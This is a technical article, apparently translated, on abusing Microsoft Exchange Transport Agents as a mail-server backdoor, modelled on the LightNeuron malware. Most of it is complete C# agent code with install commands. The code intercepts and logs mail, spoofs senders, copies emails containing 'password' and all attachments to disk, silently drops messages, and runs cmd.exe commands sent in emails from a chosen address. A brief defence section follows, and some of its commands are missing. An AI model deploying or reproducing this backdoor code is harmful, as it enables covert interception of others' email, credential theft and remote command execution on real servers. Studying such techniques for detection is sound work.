0x00 Preface
---
ESET research has discovered a malware named LightNeuron specifically targeting Microsoft Exchange, which employs a previously unseen persistence technique: Transport Agent, capable of achieving the following functions:
- Read and modify any email passing through the mail server
- Compose and send new emails
- Block any email. The original recipient will not receive the email
References:
https://www.welivesecurity.com/2019/05/07/turla-lightneuron-email-too-far/
https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf
This article, solely from a technical research perspective, introduces the usage of Transport Agent, writes code to implement different functions, and provides defense recommendations based on exploitation ideas
0x01 Introduction
---
This article will cover the following topics:
- Transport Agent Basics
- Usage of Transport Agent
- Monitoring emails using Transport Agent
- Modifying emails using Transport Agent
- Deleting emails using Transport Agent
- Launching programs using Transport Agent
- Defense detection
0x02 Basics of Transport Agent
---
References
https://docs.microsoft.com/en-us/previous-versions/office/developer/exchange-server-2010/dd877026(v=exchg.140)
1. Transport Agent
Can be used to extend and modify Exchange's transport behavior to customize message acceptance, rejection, routing, and delivery, as well as convert between various types of content
Simply put, Transport Agents act as plugins for Exchange, enabling the extension and modification of Exchange's transport behavior, such as reading, modifying, and deleting each transmitted email
2. .NET Framework Extensions for Exchange
The Microsoft.Exchange.Data namespace provides types that facilitate the following tasks:
- Read and write MIME data
- Convert message body and other text from one encoding to another
- Read and write TNEF data
- Read and write calendar and appointment data
- Convert message formats; for example, from HTML to RTF
- Respond to SMTP events
- Respond to routing events
Simply put, using the Microsoft.Exchange.Data namespace allows extending and modifying Exchange's transport behavior
Usage of 0x03 Transport Agent
---
References:
https://docs.microsoft.com/en-us/previous-versions/office/developer/exchange-server-2010/aa579185(v=exchg.140)?redirectedfrom=MSDN
C# development, using the Microsoft.Exchange.Data namespace
Using Visual Studio, create a new C# project, select Class Library as the project type, and reference the following DLLs:
- Microsoft.Exchange.Data.Common.dll
- Microsoft.Exchange.Data.Transport.dll
The dll can be obtained from the Exchange server, located at %ExchangeInstallPath%Public, for example C:\Program Files\Microsoft\Exchange Server\V15\Public
Test code is as follows:
using System; using System.Collections.Generic; using System.Text; using Microsoft.Exchange.Data.Transport; using Microsoft.Exchange.Data.Transport.Smtp;
namespace MyAgents { public sealed class MyAgentFactory : SmtpReceiveAgentFactory { public override SmtpReceiveAgent CreateAgent(SmtpServer server) { return new MyAgent(); } } public class MyAgent : SmtpReceiveAgent { public MyAgent() { this.OnEndOfData += new EndOfDataEventHandler(MyEndOfDataHandler); } private void MyEndOfDataHandler (ReceiveMessageEventSource source, EndOfDataEventArgs e)
{ // The following line appends text to the subject of the message that caused the event. e.MailItem.Message.Subject += " - this text appended by MyAgent"; } } } |
Compile and generate MyAgent.dll
Copy MyAgent.dll to the Exchange server, save it to the path C:\test\MyAgent.dll
Use Exchange Server PowerShell to install the Transport Agent with the following command:
Install-TransportAgent -Name "MySpamFilterAgent" -TransportAgentFactory "MyAgents.MyAgentFactory" -AssemblyPath "C:\test\MyAgent.dll" Enable-TransportAgent MySpamFilterAgent Restart-Service MSExchangeTransport |
The MSExchangeTransport service must be restarted to take effect
Command to uninstall the Transport Agent:
Uninstall-TransportAgent MySpamFilterAgent -Confirm:$false Restart-Service MSExchangeTransport |
Command to view this Transport Agent:
Get-TransportAgent MySpamFilterAgent|fl |
Command to view all Transport Agents:
After the Transport Agent is successfully installed, use any user to send an email, and the email subject will be modified, indicating a successful test
0x04 Implementing Different Functions Using Transport Agent
---
Example 1
Monitor emails, record sender and time, save file as c:\test\log.txt
Code is as follows:
using System; using System.Collections.Generic; using System.Text; using System.IO; using Microsoft.Exchange.Data.Transport; using Microsoft.Exchange.Data.Transport.Smtp;
namespace MyAgents { public sealed class MyAgentFactory : SmtpReceiveAgentFactory { public override SmtpReceiveAgent CreateAgent(SmtpServer server) { return new MyAgent(); } } public class MyAgent : SmtpReceiveAgent { public MyAgent() { this.OnEndOfData += new EndOfDataEventHandler(MyEndOfDataHandler); } private void MyEndOfDataHandler(ReceiveMessageEventSource source, EndOfDataEventArgs e)
{ using (System.IO.StreamWriter file = new System.IO.StreamWriter(@"C:\test\log.txt", true)) { file.WriteLine("Sender:" + e.MailItem.Message.Sender.SmtpAddress); file.WriteLine("Date:" + e.MailItem.Message.Date); } } } } |
Example 2
Modify the sender and subject of the email
The code is as follows:
using System; using System.Collections.Generic; using System.Text; using System.IO; using Microsoft.Exchange.Data.Transport; using Microsoft.Exchange.Data.Transport.Smtp;
namespace MyAgents { public sealed class MyAgentFactory : SmtpReceiveAgentFactory { public override SmtpReceiveAgent CreateAgent(SmtpServer server) { return new MyAgent(); } } public class MyAgent : SmtpReceiveAgent { public MyAgent() { this.OnEndOfData += new EndOfDataEventHandler(MyEndOfDataHandler); } private void MyEndOfDataHandler(ReceiveMessageEventSource source, EndOfDataEventArgs e)
{ // The following line appends text to the subject of the message that caused the event. e.MailItem.Message.Subject += " - this text appended by MyAgent"; e.MailItem.Message.From.DisplayName = "test2"; e.MailItem.Message.From.SmtpAddress = "[email protected]"; e.MailItem.Message.Sender.DisplayName = "test2"; e.MailItem.Message.Sender.SmtpAddress = "[email protected]"; } } } |
Example 3
Monitor emails, and if an email contains the string 'password' (case-insensitive), save this email to c:\test with the file name .eml (to avoid duplicate file names, use the unique MessageId as the file name).
The code is as follows:
using System; using System.Collections.Generic; using System.Text; using System.IO; using Microsoft.Exchange.Data.Transport; using Microsoft.Exchange.Data.Transport.Smtp;
namespace MyAgents { public sealed class MyAgentFactory : SmtpReceiveAgentFactory { public override SmtpReceiveAgent CreateAgent(SmtpServer server) { return new MyAgent(); } } public class MyAgent : SmtpReceiveAgent { public MyAgent() { this.OnEndOfData += new EndOfDataEventHandler(MyEndOfDataHandler); } private void MyEndOfDataHandler(ReceiveMessageEventSource source, EndOfDataEventArgs e)
{
long len = e.MailItem.GetMimeReadStream().Length; byte[] heByte = new byte[len]; int r = e.MailItem.GetMimeReadStream().Read(heByte, 0, heByte.Length); string searchData = System.Text.Encoding.UTF8.GetString(heByte); if (searchData.IndexOf("password", 0, StringComparison.CurrentCultureIgnoreCase) != -1) { string[] sArray = e.MailItem.Message.MessageId.Split('@'); sArray[0] = sArray[0].Substring(1);
FileStream fs = new FileStream("c:\\test\\" + sArray[0] + ".eml", FileMode.Create); fs.Write(heByte, 0, heByte.Length); fs.Close(); } } } } |
Example 4
Monitor attachments, save attachment names in c:\test\log.txt, and save all attachments to c:\test with file names as attachment names
Code is as follows:
using System; using System.Collections.Generic; using System.Text; using System.IO; using Microsoft.Exchange.Data.Transport; using Microsoft.Exchange.Data.Transport.Smtp;
namespace MyAgents { public sealed class MyAgentFactory : SmtpReceiveAgentFactory { public override SmtpReceiveAgent CreateAgent(SmtpServer server) { return new MyAgent(); } } public class MyAgent : SmtpReceiveAgent { public MyAgent() { this.OnEndOfData += new EndOfDataEventHandler(MyEndOfDataHandler); } private void MyEndOfDataHandler(ReceiveMessageEventSource source, EndOfDataEventArgs e)
{ if (e.MailItem.Message.Attachments.Count != 0) { foreach (var attachment in e.MailItem.Message.Attachments) { using (System.IO.StreamWriter file = new System.IO.StreamWriter(@"C:\test\log.txt", true)) { file.WriteLine(attachment.FileName); } FileStream fs = new FileStream("c:\\test\\" + attachment.FileName, FileMode.Create); attachment.GetContentReadStream().CopyTo(fs); fs.Close(); }
} } } } |
Compared to Sample Code 3, there is a difference in the functionality of saving data to a file
Sample 3 first reads data from the stream and stores it in a byte array, then converts the byte array to a string, and finally writes the string to a file via FileStream. Although this approach is less efficient, it supports full-text content search
Sample Code 4 does not need to consider full-text search, so it can use Stream.CopyTo to copy two streams for improved efficiency
Sample 5
Monitor emails, and if the email content includes the string 'alert' (case-insensitive), then discard this email
The code is as follows:
using System; using System.Collections.Generic; using System.Text; using System.IO; using Microsoft.Exchange.Data.Transport; using Microsoft.Exchange.Data.Transport.Smtp;
namespace MyAgents { public sealed class MyAgentFactory : SmtpReceiveAgentFactory { public override SmtpReceiveAgent CreateAgent(SmtpServer server) { return new MyAgent(); } } public class MyAgent : SmtpReceiveAgent { public MyAgent() { this.OnEndOfData += new EndOfDataEventHandler(MyEndOfDataHandler); } private void MyEndOfDataHandler(ReceiveMessageEventSource source, EndOfDataEventArgs e) { long len = e.MailItem.GetMimeReadStream().Length; byte[] heByte = new byte[len]; int r = e.MailItem.GetMimeReadStream().Read(heByte, 0, heByte.Length); string searchData = System.Text.Encoding.UTF8.GetString(heByte); if (searchData.IndexOf("alert", 0, StringComparison.CurrentCultureIgnoreCase) != -1) { foreach (EnvelopeRecipient ep in e.MailItem.Recipients) { e.MailItem.Recipients.Remove(ep); } } } } } |
Example 6
Monitor emails; if an email is from a specified user ([email protected]) with the subject 'command', then execute the content xxxx in the email body (format: command:xxxx/command)
The code is as follows:
using System; using System.Collections.Generic; using System.Text; using System.IO; using Microsoft.Exchange.Data.Transport; using Microsoft.Exchange.Data.Transport.Smtp; using System.Diagnostics;
namespace MyAgents { public sealed class MyAgentFactory : SmtpReceiveAgentFactory { public override SmtpReceiveAgent CreateAgent(SmtpServer server) { return new MyAgent(); } } public class MyAgent : SmtpReceiveAgent { public MyAgent() { this.OnEndOfData += new EndOfDataEventHandler(MyEndOfDataHandler); } private void MyEndOfDataHandler(ReceiveMessageEventSource source, EndOfDataEventArgs e) { if (e.MailItem.Message.From.SmtpAddress == "[email protected]") { if(e.MailItem.Message.Subject.Contains("command")) { long len = e.MailItem.Message.Body.GetContentReadStream().Length; byte[] heByte = new byte[len]; int r = e.MailItem.Message.Body.GetContentReadStream().Read(heByte, 0, heByte.Length); string myStr = System.Text.Encoding.UTF8.GetString(heByte); int i = myStr.IndexOf("command:"); int j = myStr.IndexOf("/command"); myStr = myStr.Substring(i + 8, j - i - 8);
Process p = new Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c" + myStr; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardInput = true; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardError = true; p.StartInfo.CreateNoWindow = true; p.Start();
} }
} } } |
The launched process runs with NETWORK SERVICE privileges
Supplement
For debugging purposes, capture errors and output error codes to file c:\test\log.txt
The code is as follows:
using System; using System.Collections.Generic; using System.Text; using System.IO; using Microsoft.Exchange.Data.Transport; using Microsoft.Exchange.Data.Transport.Smtp; using System.Diagnostics;
namespace MyAgents { public sealed class MyAgentFactory : SmtpReceiveAgentFactory { public override SmtpReceiveAgent CreateAgent(SmtpServer server) { return new MyAgent(); } } public class MyAgent : SmtpReceiveAgent { public MyAgent() { this.OnEndOfData += new EndOfDataEventHandler(MyEndOfDataHandler); } private void MyEndOfDataHandler(ReceiveMessageEventSource source, EndOfDataEventArgs e) { try { } catch (Exception ex) { using (System.IO.StreamWriter file = new System.IO.StreamWriter(@"C:\test\log.txt", true)) { file.WriteLine(ex.Message); }
}
} } } |
0x05 Defense Detection
---
1. Check Transport Agent Configuration
Using Exchange Server PowerShell, command as follows:
Other PowerShell commands can be referenced at:
https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-ps#mail-flow
2. Check Service Logs
Installing Transport Agent requires restarting the MSExchangeTransport service
3. Check Processes
After using Transport Agent, the process w3wp.exe will load the corresponding dll
You can check whether the process w3wp.exe loads suspicious dlls
0x06 Summary
---
This article introduces the usage of Transport Agent, writing code to implement recording, modifying, and deleting emails, achieving common functions used as a backdoor, and providing defense suggestions based on exploitation ideas